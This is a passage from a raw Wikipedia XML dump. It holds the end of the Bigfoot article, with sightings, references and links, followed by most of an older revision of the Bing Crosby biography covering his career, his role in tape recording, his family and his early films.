Regarding Sasquatch, [[Skamania County, Washington]] passed a law in 1969 that &quot;any wilful, wanton slaying of such creatures shall be deemed a felony&quot;, subject to substantial fine and/or imprisonment. The fact that this legislation was passed on April 1 did not escape notice, but County Commissioner Conrad Lundy said that &quot;this is not an [[April Fool's Day]] joke ... there is reason to believe such an animal exists&quot; (Pyle, 278). Hunter and Dahinden record their own &quot;speculation that Skamania County authorities had their ears tuned much more to the music of a publicity bandwagon than to any song of distress&quot; for Bigfoot (Hunter and Dahinden, 135-136). Notwithstanding, the ordinance was amended in 1984 to preclude an [[insanity defense]] and to consider such a killing homocide if the creature was proven by the coroner to be humanoid (Pyle, 279).

==Alleged Bigfoot sightings==
*'''1811''': On January 7, 1811, [[David Thompson (explorer)|David Thompson]], a surveyor and trader for the [[North West Company]], spots large, well-defined footprints in the snow near [[Athabasca River]], [[Jasper, Alberta]], while attempting to cross the [[Rocky Mountains]]. The tracks measure 14 inches in length and 8 inches in width. 

*'''1840''': Protestant missionary Reverend Elkanah Walker records myths of hairy giants persistent among [[Native Americans in the United States|Native Americans]] living in [[Spokane, Washington]]. The Indians report that said giants steal salmon and have strong smell. 

*'''1893''': An account by [[Theodore Roosevelt]] is published this year in ''The Wilderness Hunter''. Roosevelt relates a story which was told to him by &quot;a beaten old mountain hunter, named Bauman&quot; living in Idaho. Some have suggested similarities to Bigfoot reports. (Note: Roosevelt's testimony is the only proof this encounter ever occurred.)

*'''1924''': Albert Ostman claims to have been kidnapped and held captive for several days by a family of sasquatch. The incidence occurred during the summer in [[Toba Inlet]], British Coumbia. 

*'''1924''': Fred Beck and four other miners claim to have been attacked by several sasquatches in [[Ape Canyon]] in July, 1924. The creatures reportedly hurl large rocks at the miners’ cabin for several hours during the night. 

*'''1941''': Jeannie Chapman and her children claim to have escaped their home when a large sasquatch, allegedly 7½ feet tall, approached their residence in Ruby Creek, British Columbia.

*'''1940s''' onward: People living in [[Fouke, Arkansas]] report that a Bigfoot-like creature, dubbed the “[[Fouke Monster]]”, inhabits the region. A high number of reports occur in the Boggy Creek area and are the basis for the 1973 film ''[[The Legend of Boggy Creek]]''. The last known report was in 2004.

*'''1955''': William Roe claims a close-up view from concealment of a female sasquatch near Mica Mountain, British Columbia.

*'''1958''': Two construction workers, Leslie Breazale and Ray Kerr, report seeing a sasquatch about 45 miles northeast of [[Eureka, California]]. 16 inch tracks had previously been spotted in the Northern California woods.

*'''1967''': On October 20, 1967, Roger Patterson and Robert Gimlin capture a purported sasquatch on film in Bluff Creek, California. See [[Patterson-Gimlin film]] for more information.

==Footnotes==
# The method of locomotion for ''Gigantopithecus'' is not entirely certain, as no pelvis or leg bone has ever been found; the only remains of ''Gigantopithecus'' being discovered is the teeth and mandible. A minority opinion, championed by Grover Krantz, holds that the mandible shape and structure suggests bipedal locomotion. The only fossil evidence of ''Gigantopithecus'' &amp;mdash; the mandible and teeth&amp;mdash; are U-shaped, like the bipedal humans, rather than V-shaped, like the great apes.  A complete fossil specimen, with the pelvis and leg bones, would be necessary to conclusively resolve the debate one way or the other, but are absent to date.
# Gorillas are in the same class as chimpanzees; gorillas are more closely-related to humans and chimpanzees than any of them are to orangutans.

==See also==
*[[Almas (cryptozoology)|Almas]] - Mongolia's Bigfoot
*[[Barmanou]] - Afghanistan and Pakistan's Bigfoot
*[[Ebu Gogo]] - A similar creature from the Flores Islands of Indonesia; and
**[[Orang Pendak]] - A similar creature from Sumatra in Indonesia
*[[Fouke Monster]] - The Bigfoot sighted in [[Fouke, Arkansas]]
*[[Nguoi Rung]] - Vietnam's Bigfoot
*[[Orang Mawas]] - Malaysia's Bigfoot
*[[Sasquatch (comics)|Sasquatch]] - A super hero named after the creature
*[[Skunk Ape]] - Florida's Bigfoot
*[[Woodwose]] - Medieval Europe's Bigfoot
*[[Yeren]] - China's Bigfoot
*[[Yowie (cryptid)|Yowie]] - Australia's Bigfoot

==References==
*Bayanov, Dmitri, ''America's Bigfoot: Fact, Not Fiction'', Crypto-Logos, 1997, ISBN 590022922X
*Bourne, Geoffrey H. and Maury Cohen, ''The Gentle Giants: The Gorilla Story'', G.P. Putnam's Sons, 1975, ISBN 399115285
*Bryant, Vaughn M. and Burleigh Trevor-Deutch, &quot;Analysis of Feces and Hair Suspected to be of Sasquatch Origin&quot; (in Halpin and Ames)
*Byrne, Peter, ''The Search for Bigfoot: Monster, Man or Myth'', Acropolis Books, 1975, ISBN 0874911591
*Clark, Jerome, ''Unexplained! 347 Strange Sightings, Incredible Occurrences and Puzzling Physical Phenomena'', Visible Ink, 1993, ISBN 0810394367
*Coleman, Loren and Jerome Clark, ''Cryptozoology A to Z'', Fireside Books, 1999, ISBN 0684856026
*Coleman, Loren and Patrick Huyghe, ''The Field Guide to Bigfoot, Yeti and Other Mystery Primates Worldwide'', Avon Books, 1999, ISBN 0380802635
*Coon, Carelton, &quot;Why Sasquatch Must Exist&quot; (in Markotic and Krantz)
*Daegling, David J, ''Bigfoot Exposed: An Anthropologist Examines America's Enduring Legend'', Altamira Press, 2004, ISBN 0759105391
*Gill, George &quot;Population Clines of the North American Sasquatch as Evidenced by Track Lengths and Average Status&quot; (in Halpin and Ames)
*Green, John Willison, ''Sasquatch - The Apes Among Us'', Hancock House Publishing, 1978, ISBN 0888391234
*Guttilla, Peter, ''The Bigfoot Files'', Timeless Voyager Press, 2003, ISBN 1892264153
*Halprin, Marjorie, &quot;The Tsimshan Monkey Mask and Sasquatch&quot; (in Halpin and Ames)
*Halpin, Marjorie and Michael Ames, editors, ''Manlike Monsters on Trial: Early Records and Modern Evidence'', University of British Columbia Press, 1980, ISBN 0774801190
*Hunter, Don and Rene Dahinden, ''Sasquach/Bigfoot: The Search for North America's Incredible Creature'', Firefly Books, 1993, ISBN 1895565286
*Krantz, Grover S., ''Big Footprints: A Scientific Inquiry into the Reality of Sasquatch'', Johnson Books, 1992, ISBN 1555660991
*Markotic, Vladimir and Grover Krantz, editors, ''The Sasquatch and Other Unknown Primates'', Western Publishers, 1984, ISBN 0919119107
*Mozino, Jose Mariano, ''Noticas de Nutka: An Account of Nootka Sound'', Iris Higbe Wilson, editor and traslator, University of Washington Press, 1970, ISBN 0295950617
*Napier, John Russell ''Bigfoot: The Sasquatch and Yeti in Myth and Reality'', 1973, E.P. Dutton, ISBN 0525066586 
*Powell, Thom, ''The Locals'', Hancock House, 2003, ISBN 0888395523
*Pyle, Robert Michael, ''Where Bigfoot Walks'', Houghton Mifflin, 1995, ISBN 0395441145
*Sanderson, Ivan T., &quot;First Photos of 'Bigfoot', California's Legendary 'Abominable Snowman'&quot;, ''Argosy'', February 1968,  pg 23-31, 127,128.  
*Shakley, Myra, ''Wildman: Yeti, Sasquatch and the Neanderthal Enigma'', Thames and Hudson, 1973
*Sprague, Roderick, &quot;Carved Stone Heads of the Columbia and Sasquatch&quot; (in Halpin and Ames)
*Sprague, Roderick and Grover Krantz, editors, ''A Scientist Looks at the Sasquatch II'', University Press of Idaho, 1978, ISBN 0893010618
*Suttles, Wayne, &quot;On the Cultural Track of Sasquatch&quot; (in Sprage and Krantz)
*Wasson, Barbara, ''Sasquatch Apparitions: A Critique on the Pacific Northwest Hominoid'', self-published, 1979, ISBN 0961410507
*http://edition.cnn.com/2003/WORLD/asiapcf/east/06/30/china.bigfoot/
*http://www.parascope.com/en/articles/bigfootRussia.htm
*http://skepdic.com/bigfoot.html
*http://www.who2.com/bigfoot.html


==Further reading==
* Long, Greg, ''The Making of Bigfoot: The Inside Story'', 2004, [[Prometheus Books]], ISBN 1591021391.

==External links==
*[http://www.bfro.net Bigfoot Field Researchers Organization]
*[http://skepdic.com/bigfoot.html &quot;Bigfoot&quot;] - from the ''[[Skeptic's Dictionary]]'' (includes other such stories)
*[http://www.rfthomas.clara.net/news/bfisdead.html &quot;Lovable trickster created a monster with Bigfoot hoax&quot;] &lt;!-- Note: This article was apparently taken without permission from the Seattle Times and posted to this website. We should not link to copyright violations... I did not remove it entirely yet because maybe someone can find the link to the original, otherwise it will be removed per External links guidelines --&gt;
*[http://www.uiowa.edu/~bioanth/giganto.html Information] on ''[[Sivapithecus]]'' the common ancestor to both orangutans and ''Gigantopithecus''
*[http://www.texasbigfoot.com Texas Bigfoot Research Center] for information about Bigfoot in Texas, Oklahoma, Arkansas &amp; Louisiana
*[http://www.sasquatchonline.com Sasquatch Research Initiative] (SRI) - an association of independent researchers investigating Sasquatch in the US and Canada.
*[http://www.georgiabigfoot.com Georgia Bigfoot] Investigating the Bigfoot Phenomenon in Georgia
*[http://www.westcoast-sasquatch.com West Coast Sasquatch] For information on Sasquatch in British Columbia, Canada
*[http://www.pabigfootsociety.com Pennsylvania Bigfoot Society] for information about Bigfoot on the East Coast
*[http://www.rense.com/RenseInterviews.html#anchor2 Interview with Greg Long]
*[http://www.bigfootencounters.com/articles/korff04.htm Article by Kal K. Korff and Michaela Kocis, in Skeptical Inquirer, July 2004]

[[de:Bigfoot]]
[[es:Pie Grande]]
[[eo:Saskvaĉo]]
[[fa:پاگنده]]
[[fr:Sasquatch]]
[[he:ביג פוט]]
[[pt:Pé-grande]]
[[ja:ビッグフット]]
[[nl:Bigfoot]]
[[sv:Bigfoot]]

[[Category:Legendary creatures]]
[[Category:Bigfoot|*]]
[[Category:Hominid cryptids]]
[[Category:Cryptids]]
[[Category:Pseudoscience]]</text>
    </revision>
  </page>
  <page>
    <title>Bing Crosby</title>
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      <text xml:space="preserve">[[Image:Wikibing2.jpg|thumb|right|]]
'''Harry Lillis &quot;Bing&quot; Crosby''' ([[May 3]], [[1903]] &amp;ndash; [[October 14]], [[1977]]) was a popular and influential [[United States|American]] [[singer]] and [[actor]] whose career flourished from [[1926]] until his death in [[1977]]. 

Bing Crosby's influence on [[Popular Culture|popular culture]] and [[Popular Music|popular music]] is considerable as from [[1934]] to [[1954]], he held a nearly unrivaled command of [[Sound recording|record]] sales, [[radio]] ratings and [[motion picture]] grosses. He is considered by many to be among the most popular musical acts of the 20th century, along with [[Elvis Presley]], [[The Beatles]] and [[Frank Sinatra]].

Bing Crosby popularized singing with conversational ease, or [[crooning]]. His musical interpretations amalgamated rhythm and romance with scat singing, whistling, rythmic improvisation and melodic paraphrasing as elements of a hotter, sexier sound than had been concieved before.

Crosby is also credited as being the inspiration for the likes of [[Frank Sinatra]], [[Perry Como]], [[Dean Martin]], [[Andy Williams]], and more recently [[Harry Connick Jr.]] and [[Michael Bublé]].  In [[1992]], [[Artie Shaw]] offered his opinion of Crosby's place in [[Culture of the United States|American culture]] in these terms:  &quot;The thing you have to understand about Bing Crosby is that he was the first [[Hipster|hip]] [[white (people)|white]] person born in the United States&quot;&lt;sup&gt;[[Bing Crosby#References|1]]&lt;/sup&gt;.

In [[1962]], Crosby was the first person to receive the [[Grammy Lifetime Achievement Award]].

==Early life==
Harry Lillis Crosby was born in [[Tacoma, Washington]] on [[May 3]], [[1903]] in a house that his father built (1112 North J Street, Tacoma, Washington). His family later moved to [[Spokane, Washington]] in 1906 to find work. He was the fourth of seven children - five boys [[Larry Crosby|Larry]] (1895-1975), Everett (born 1896), Ted (born 1900) and [[Bob Crosby|Bob]] (1913-1993) and two girls Catherine (born 1905) and Mary Rose (born 1907) - born to [[United Kingdom|English]]-[[United States|American]] Harry Lowe Crosby (1871-1950), a bookkeeper and [[Irish-American]] Catherine Harrigan (1873-1964), (affectionately known as Kate), the daughter of a builder from [[County Mayo]] in [[Ireland]]. His paternal ancestors Thomas Prence and Patience Brewster were born in [[England]] and immigrated to the [[U.S.]] in the 17th century; Brewster's family came over on the [[Mayflower]].

It should be noted that Bing Crosby had no birth certificate and that his birth date was shrouded in mystery until his childhood [[Roman Catholic]] church in Tacoma, Washington, released the baptismal records that revealed his date of birth.  

The nickname &quot;Bing&quot; was bestowed upon on him by a childhood friend, Valentine Hobart, who shared Bing's interest in a newspaper comic strip called &quot;The Bingville Bugle&quot;. Valentine Hobart began calling Harry Crosby &quot;Bingo from Bingville.&quot; Eventually the nickname was shortened to &quot;Bing&quot; and was adopted by Bing's other friends and even his teachers.

Bing Crosby's parents loved music and they both loved to sing. Bing was even sent away to singing lessons, but dropped out because he did not like the demands of the training. Bing's favorite singer and idol was [[Al Jolson]]. However, Bing's style is quite different from Jolson's loud, high volume approach to singing.

Bing enrolled in the [[Society of Jesus|Jesuit]]-run [[Gonzaga University|Gonzaga College]] in [[Spokane, Washington]] in the fall of [[1920]] with the intent to become a lawyer. While in Gonzaga he sent away for a set of mail order drums. After much practice he soon became good enough and was invited to join a local band which was made up of mostly local high school kids called the &quot;Musicaladers&quot;, managed by one [[Al Rinker]]. He made so much money doing this he decided to drop out of school during his final year, to pursue a career in show business.

==Popular success==
&lt;!-- Unsourced image removed: [[Image:Bing_Crosby_Oscar.gif|left|thumb|Bing Crosby with Ingrid Bergman and their Oscars at the 1945 Academy Awards]] --&gt;
In [[1926]], Crosby caught the eye of [[Paul Whiteman]] (a.k.a The King of Jazz) while singing on the vaudeville in [[Los Angeles]]. Hired to join one of the most popular bands in [[United States|America]], the fledgling vocalist would receive a musical education from the greatest musicians of the era. Unlike the typical vaudeville &quot;shouters,&quot; he learned to work the microphone (and the crowd) drawing the audience in with his smooth, gentle style.  

He was thus able to take popular singing beyond the kind of &quot;belting&quot; associated with a performer like [[Al Jolson]], who had to reach the back seats in New York theatres without the aid of the microphone.  With Crosby, as [[Henry Pleasants]] noted in ''The Great American Popular Singers'', something new had entered American music, something that might be called &quot;singing in American,&quot; with conversational ease.  The oddity of this new sound led to the epithet &quot;[[crooner]]&quot;. 

Bing soon became the star attraction of the band and sang Whiteman's biggest hit of [[1928]], &quot;[[Ol' Man River]].&quot; However, his repeated youthful peccadilloes forced Whiteman to fire him [[1930]]. Crosby had no desire to step out on his own, but was now forced into a solo career. 

In early [[1931]], Bing landed his first hit under his own name with &quot;I Surrender, Dear.&quot; He contined to chart throughout the year with &quot;Out Of Nowhere,&quot; &quot;Just One More Chance,&quot; &quot;Wrap your Troubles In Dreams&quot; and &quot;I Found A Million Dollar Baby.&quot; Crosby became so popular that [[Mack Sennett]] (of Keystone Kops fame) signed him up for six two reelers, each based on one of his songs. (Today this is Redistributed under the title of &quot;Road to Hollywood.&quot;) 

That same year (1931), Bing made his solo debut, co-starring with [[Carl Fenton|The Carl Fenton Orchestra]] on a popular [[CBS]] radio show and by [[1936]], replaced his former boss, [[Paul Whiteman]], as the host of [[NBC]]'s Kraft Music Hall, a weekly radio program where he would remain for the next ten years.

Crosby's entertainment trifecta led to major motion picture contract with [[Paramount Pictures]] beginning with The Big Broadcast Of [[1932]]. This led to his appearances in 79 Movies, most of which he headlined. Perhaps most fondly remembered as an actor for the series of seven jaunty musical comedy &quot;Road To&quot; pictures with [[Bob Hope]] and [[Dorothy Lamour]] (''[[Road to Morocco]]'', ''[[Road to Bali]]'', etc.), he was also a well-liked dramatic actor, appearing in such films as ''[[Going My Way]]'', ''[[The Bells of St. Mary's]]'' and ''[[The Country Girl]]''.

During [[World War II|the War]], Crosby gave great emphasis to live appearances before American troops fighting in the [[European Theater of Operations|European Theater]]. He also learned how to pronounce [[German language|German]] from written scripts, and would read them in propaganda broadcasts intended for the German forces.  The nickname &quot;der Bingle&quot; for him was understood to have become current among German listeners, and came to be used by his [[English language|English]]-speaking fans. In a poll of U.S. troops at the close of WWII, Crosby topped the list as the person who did the most for G.I. morale (beating out [[Franklin Delano Roosevelt]], [[Dwight Eisenhower]] and one Leslie Townes &quot;[[Bob Hope]]&quot;

Crosby's biggest musical hit was his recording of [[Irving Berlin]]'s ''&quot;[[White Christmas (song)|White Christmas]]&quot;'', which he introduced through a 1941 Christmas-season radio broadcast and the movie ''[[Holiday Inn (film)|Holiday Inn]]''. Bing's recording hit the charts on Oct. 3, 1942, and rose to #1 on Oct. 31, where it stayed for an amazing 11 weeks. In the following years Bing's recording hit the top-30 pop charts another 16 times, even topping the charts again in 1945 and January of '47. The song remains Bing's best-selling recording, and the best-selling Christmas single and second best selling song of all time  with estimates between 30 to 45 million albums sold. In 1998 after a long absence, his 1947 version hit the charts in Britain, and [[as of 2006]] remains the North American holiday-season standard. According to [[Guinness World Records]], Bing Crosby's ''White Christmas'' has &quot;sold over 100 million copies around the world, with at least 50 million sales as singles.[http://www.guinnessworldrecords.com/content_pages/record.asp?recordid=52805]  

[[Image:Bing_Crosby.jpg|right|thumb|Golfballs for the Scrap Rubber Drive during [[World War II|WWII]].]]
Crosby also had regular [[radio]] shows from the 1930s through the 1950s. During the 1940s he recorded many songs with [[the Andrews Sisters]].  He starred in a network [[television]] sitcom in 1964 and 1965, and made numerous short films and television appearances.
               
=== Career Statistics ===
As arguably the most popular musical act of the 20th century, Bing Crosby played a central role in American cultural and musical history. Even today his statistics are dazzling; 1,700 recordings, 383 of those in the top 30, and of those, 41 hit No. 1. For 15 years (1934, 1937, 1940, 1943-1954) he was among the top 10 in box office draw, and for five of those years (1944-49) he was the largest in the world. He sang four [[Academy Award]]-winning songs - &quot;Sweet Leilani&quot; (1937), &quot;White Christmas&quot; (1942), &quot;Swinging on a Star&quot; (1944), &quot;In the Cool, Cool, Cool of the Evening&quot; (1951) - and won an acting Oscar for ''[[Going My Way]]'' (1944). He also collected 23 gold and platinum records which is quite amazing considering gold and platinum records did not come into existence until 1958, after which Crosby was considered retired. In 1962 Crosby became the first recipient of the [[Grammy Lifetime Achievement Award]], a list that now contains a plethora of musical legends. He has been inducted into the respective halls of fame for both radio and popular music. His music sales are estimated at between 500 000 000 (Five Hundred Million) to 900 000 000 (Nine Hundred Million).

==Mass Media==
Bing Crosby's desire to pre-record his radio shows, combined with a dissatisfaction with the available aluminum recording disks, was a significant factor in the development of [[magnetic tape#magnetic tape audio storage|magnetic tape recording]] and the radio industry's adoption of it. He used his power to innovate new methods of reproducing himself. In 1946 he wanted to shift from live performance to recorded transcriptions for his weekly radio show on [[NBC]] sponsored by Kraft. But [[NBC]] refused to allow recorded [[radio]] programs (except for advertisements). The live production of radio shows was a deeply-established tradition reinforced by the [[ASCAP]] union. The new [[American Broadcasting Company|ABC]] network, formed out of the sale of the old [[NBC]] Blue network in 1943 to Edward Noble, the &quot;Lifesaver King,&quot; was willing to break the tradition. It would pay Crosby $30,000 per week to produce a recorded show every Wednesday sponsored by [[Philco]]. He would also get $40,000 from 400 independent stations for the rights to broadcast the 60-minute show that was sent to them every Monday on three 16-inch aluminum discs that played 10 minutes per side at 33-1/3 rpm. Crosby wanted to change to recorded production for several reasons. The legend that has been most often told is that it would give him more time for his golf game. And he did record his first [[Philco]] program in August 1947 so he could enter the [[Jasper National Park]] Invitational Gold Tournament in September when the new radio season was to start. But golf was not the most important reason. Crosby was always an early riser and hard worker. He sought better quality through recording, not more spare time. He could eliminate mistakes and control the timing of performances. Because his own [[Bing Crosby Enterprises]] produced the show, he could purchase the latest and best sound equipment and arrange the [[microphones]] his way (mic placement had long been a hotly-debated issue in every recording studio since the beginning of the electrical era). No longer would he have to wear the hated toupee on his head previously required by [[CBS]] and [[NBC]] for his live audience shows (Bing preferred a hat). He could also record short promotions for his latest investment, the world's first frozen orange juice to be sold under the brand name [[Minute Maid]]. 
[[Image:Bing Crosbyampex.jpg|right|thumb|Bing Crosby with the first audio tape recorder, The Ampex Model 200, which was first used to record his radio show on [[April 25]], [[1948]].]]
The transcription method however had problems. The 16-inch aluminum program discs were made from master discs running at [[78 rpm]] and holding only 4 minutes per side. This presented editing and timing problems that often caused gaps or glitches in the flow of the 60-minute program. Also, the acetate surface coating of the aluminum discs was little better than the wax that Edison had used at the turn of the century, with the same limited dynamic range and frequency response. In June of 1947, Murdo MacKenzie of [[Crosby Enterprises]] saw a demonstration of the German Magnetophone that Jack Mullin had brought back from Radio Frankfurt with 50 reels of tape at the end of the war. This machine was one of the magnetic tape recorders that BASF and AEG had built in Germany starting in 1935. The 1/2 inch ferric-coated tape could record 20 minutes per reel of high-quality sound. Alexander M. Poniatoff ordered his [[Ampex company]] (founded in 1944 from his initials A.M.P. plus the starting letters of &quot;excellence&quot;) to manufacture an improved version of the Magnetophone. 

Bing Crosby hired Mullin and his German machine to start recording his Philco show in August 1947 with the same 50 reels of German magnetic tape that Mullin had found in Frankfort. The crucial advantage was editing. As Bing wrote in his autobiography, &quot;By using tape, I could do a thirty-five or forty-minute show, then edit it down to the twenty-six or twenty-seven minutes the program ran. In that way, we could take out jokes, gags, or situations that didn't play well and finish with only the prime meat of the show; the solid stuff that played big. We could also take out the songs that didn't sound good. It gave us a chance to first try a recording of the songs in the afternoon without an audience, then another one in front of a studio audience. We'd dub the one that came off best into the final transcription. It gave us a chance to ad lib as much as we wanted, knowing that excess ad libbing could be sliced from the final product. If I made a mistake in singing a song or in the script, I could have some fun with it, then retain any of the fun that sounded amusing.&quot; Mullin's 1976 memoir of these early days of experimental recording agrees with Bing's account: &quot;In the evening, Crosby did the whole show before an audience. If he muffed a song then, the audience loved it - thought it was very funny - but we would have to take out the show version and put in one of the rehersal takes. Sometimes, if Crosby was having fun with a song and not really working at it, we had to make it up out of two or three parts. This ad-lib way of working is commonplace in the recording studios today, but it was all new to us.&quot; 

Crosby also invested in [[Ampex]] to produce more machines. In 1948, the second season of Philco shows was taped with the new Ampex Model 200 tape recorder (introduced in April) using the new Scotch 111 tape from the Minnesota Mining and Manufacturing company. Mullin explained that new techniques were invented on the Crosby show with these machines: &quot;One time Bob Burns, the hillbilly comic, was on the show, and he threw in a few of his folksy farm stories, which of course were not in Bill Morrow's script. Today they wouldn't seem very off-color, but things were different on radio then. They got enormous laughs, which just went on and on. We couldn't use the jokes, but Bill asked us to save the laughs. A couple of weeks later he had a show that wasn't very funny, and he insisted that we put in the salvaged laughs. Thus the laugh-track was born.&quot; Crosby had launched the tape recorder revolution in America. In his 1950 film Mr. Music, Bing Crosby can be seen singing into one of the new Ampex tape recorders that reproduced his voice better than anything else. Also quick to adopt tape recording was his friend Bob Hope, who would make the famous &quot;Road to...&quot; films with Bing and Dorothy Lamour.

Mullin continued to work for Crosby to develop a videotape recorder. Television production was mostly live in its early years but Crosby wanted the same ability to record that he had achieved in radio. The Fireside Theater sponsored by Proctor and Gamble was his first television production for the 1950 season. Mullin had not yet succeeded with videotape, so Crosby filmed the series of 26-minute shows at the Hal Roach Studios. The &quot;telefilms&quot; were sent to television stations and projected into a camera using a film chain. This would be the same method used by Desi Arnaz in 1951 for the production of the I Love Lucy sitcom and Desilu became the industry model for the independent syndication of filmed episodic series. Crosby did not remain a television producer but continued to finance the development of videotape. Mullin would demonstrate a blurry picture on [[December 30]], [[1952]], but he was not able to solve the problem of high tape speed. It was the Ampex team led by Charles Ginsburg that made the first videotape recorder. Rather than speeding tape across fixed heads at 30 mph, Ginsburg used rotating heads to record at a slant on tape moving at only 15 ips. The helical scan model VR-1000 was demonstrated at the NAB show in Chicago on [[April 14]], [[1956]], and was an immediate success. Ampex made $4 million in sales during the NAB convention and by 1957 most TV production was done on videotape. Ampex developed a color videotape system in 1958 and recorded the spirited debate between Khrushchev and Nixon on a demonstration model at the Moscow trade Fair September 25, 1959. By this time, Crosby had sold his videotape interests to the 3M company and no longer played the role of tape recorder pioneer. Yet his contribution had been crucial. He had opened the door to Mullin's machine in 1948 and financed the early years of the Ampex company. The rapid spread of the tape recorder revolution was in no small measure caused by Crosby's efforts. 

The decade following the end of World War II witnessed what has been called the &quot;revolution in sound.&quot; The Decca Company introduced FFRR 78 rpm records (Full Frequency Range Recording) that had the finest frequency response (80-15,000 cps) of any recording process before magnetic tape recording. Decca's method of reducing the size of the groove and designing a delicate elliptical stylus to track on the sides of the groove would be the same innovation of the new microgroove process introduced by Columbia in [[1948]] on the new 33-1/3 rpm LP vinyl record. Crosby's sponsor Philco would join Columbia in selling a new $29.95 record player with jeweled stylus (not steel) tracking at only 10 grams (not 200) for these LPs. No longer would records wear out after 75 plays. Crosby's Ampex Company would be joined by Magnecord, Webcor, Revere, and Fairchild in selling one million tape recorders to a rapidly growing consumer audio component market by 1953. The 1949 Magnecord tape recorder had stereo capability eight years before any vinyl record had it. These components soon began to feature the transistor invented by Bell Labs in 1948. Crosby's 1942 film Holiday Inn (where he first sang his most famous song) would be remade in 1954 as White Christmas, the first film to use Paramount's new VistaVision wide-screen film process with multi-channel magnetic sound.

== Personal life ==
[[Image:Bing's First Family.jpg|right|thumb|Bing Crosby with his first wife Dixie Lee.]]
Crosby was married twice, first to actress/nightclub singer [[Dixie Lee]] from 1930 until her death from [[ovarian cancer]] in&lt;nowiki&gt;&lt;/nowiki&gt; 1952. They had four sons ([[Gary Crosby|Gary]], [[Dennis Crosby|Dennis]], [[Phillip Crosby|Phillip]] and [[Lindsay Crosby|Lindsay]]). Dixie was an [[alcoholic]], and the 1947 film [[Smash-Up: The Story of a Woman]] is indirectly based on her life. After Dixie's death, Bing married the much-younger actress [[Kathryn Grant]] in 1957 and they had three children together,  [[Harry Crosby (actor)|Harry]], [[Mary Frances Crosby|Mary]] (best known for portraying the woman who shot J.R. Ewing on ''[[Dallas (TV series)|Dallas]]'') and [[Nathaniel Crosby|Nathaniel]].

&lt;!-- Unsourced image removed: [[Image:Bingwithhiskids.jpg|left|thumb|Bing Crosby with his second wife Kathryn Crosby and little Harry, and baby Mary Frances.]] --&gt;

After Bing's death from a heart attack at age 74 while golfing in [[Madrid, Spain]], his eldest son, Gary, wrote a highly critical memoir (''[[Going My Own Way]]'') depicting Bing as cold, remote, and both physically and psychologically abusive. As is often the case in these situations, one sibling sides with the parent.  In this case, it was Phillip, who later frequently disputed his brother Gary's claims about their father. In an interview conducted in 1999 by the Globe, Phillip is quoted as saying, &quot;My dad was not the monster my lying brother said he was, He was strict, but my father never beat us black and blue and my brother Gary was a vicious, no-good liar for saying so. I have nothing but fond memories of dad, going to studios with him, family vacations at our cabin in Idaho, boating and fishing with him. To my dying day, I'll hate Gary for dragging dad's name through the mud. He wrote [''Going My Own Way''] out of greed. He wanted to make money and knew that humiliating our father and blackening his name was the only way he could do it. He knew it would generate a lot of publicity and that was the only way he could get his ugly, no-talent face on television and in the newspapers. My dad was my hero. I loved him very much. And he loved all of us too, including Gary. He was a great father.&quot; Phillip died in [[2004]] of a [[heart attack]].

Two of Bing's children, Lindsay and Dennis , committed suicide. It was widely published at the time of Lindsay's [[December 11]], [[1989]] death that he ended his life the day after watching his father sing &quot;White Christmas&quot; on television.  Dennis ended his life two years later, grieving over his brother's death, and battered, just as his brother had been, by alcoholism, failed relationships, and lackluster career.  Both brothers were subsisting on small allowances from their father's trust fund; both died of self-inflicted gunshot wounds to the head.

[[Denise Crosby]], Dennis' daughter, is also an actress and best known for her role as [[Tasha Yar]] on ''[[Star Trek: The Next Generation]]''.

[[Nathaniel Crosby]], his youngest son from his second marriage, was a high-level golfer who won the [[U.S. Amateur Championship|U.S. Amateur]] at age 19 in 1981, becoming the youngest-ever winner of that event (a record later broken by [[Tiger Woods]]).

At his death, he was worth over $150 million USD due to his shrewd investments in oil, real estate, and other commodities, making him one of Hollywood's then wealthiest residents along with [[Fred MacMurray]] and best friend [[Bob Hope]].  He left a clause in his will stating that his sons from his first marriage could not collect their inheritance money until they were in their 80s.  Bing felt that they had already been amply taken care of by a trust fund set up by their mother, Dixie Lee. All four sons continued to collect monies from that fund until their deaths. However, none lived long enough to collect any of their inheritance from their father.

NOTE:  Due to instructions from his family, the year of birth engraved on Bing Crosby's tombstone is 1904, rather than the correct date, 1903.

== Trivia ==
[[Image:Bing vs Peter.jpg|right|thumb|Parody on Bing Crosby's supposed autocratic parenthood on ''[[Family Guy]]'']]

*Bing Crosby possesses the most recorded [[human voice]] in history (Schwartz, 1995).
*He turned down an offer to play &quot;[[Columbo]]&quot; because he didn't want it to interfere with his [[golf]] schedule.
*Just after [[World War Two]] a [[Yank]] Magazine poll declared him the person who had done the most for [[G.I.]] morale during the war.   
*Crosby recorded a version of ''[[Little Drummer Boy]]'' with [[David Bowie]] just one month prior to his death.  The duet went on to attain cult status and charted well in countries around the world.
* Bing Crosby died after a round of eighteen holes in which he shot a respectable 85. Of his death, biographer Giddins has written: &quot;His last words were characteristic.  Walking off the eighteenth green of the La Moraleja Golf Club, in a suburb of [[Madrid]], Bing Crosby said, 'That was a great game of golf, fellas,' and then took a few steps and was gone&quot;&lt;sup&gt;[[Bing Crosby#References|2]]&lt;/sup&gt;.  Shortly after 6:00 p.m. [[October 14]], [[1977]], he suffered a massive [[myocardial infarction|heart attack]]. Although these were reported as having been Crosby's last words, it is believed that his actual last words were, &quot;Let's go get a Coke.&quot;
*Crosby was interred in the [[Holy Cross Cemetery]] in [[Culver City, California]].
*Bing Crosby had a very large vocal range as best illustrated by a leading vocal critic, [[Henry Pleasants]].  &quot;The octave B flat to B flat in Bing's voice at that time [1930s] is, to my ears, one of the loveliest I have heard in forty-five years of listening to baritones, both classical and popular. It dropped conspicuously in later years. Since the mid-1950s, Bing has been more comfortable in a bass range while maintaining a baritone quality, with the best octave being G to G, or even F to F. In a recording he made of 'Dardanella' with Louis Armstrong in 1960, he attacks lightly and easily on a low E flat. This is lower than most opera basses care to venture, and they tend to sound as if they were in the cellar when they get there. (Pleasants, The Great American Popular Singers, p132)
*Bing Crosby's height was 5'8&quot; (1.73 m).

== Filmography ==
*''[[The King of Jazz]]'' (1930)
*''Two Plus Fours'' (1930) (short subject)
*''[[Check and Double Check]]'' (1930)
*''Reaching for the Moon'' (1930)
*''The March of Time'' (1930) (unfinished)
*''Confessions of a Co-Ed'' (1931)
*''One More Chance'' (1931) (short subject)
*''Billboard Girl'' (1932) (short subject)
*''Hollywood on Parade'' (1932) (short subject)
*''The Big Broadcast'' (1932)
*''Hollywood on Parade No. 11'' (1933) (short subject)
*''Blue of the Night'' (1933) (short subject)
*''Dream House'' (1933) (short subject)
*''Sing, Bing, Sing'' (1933) (short subject)
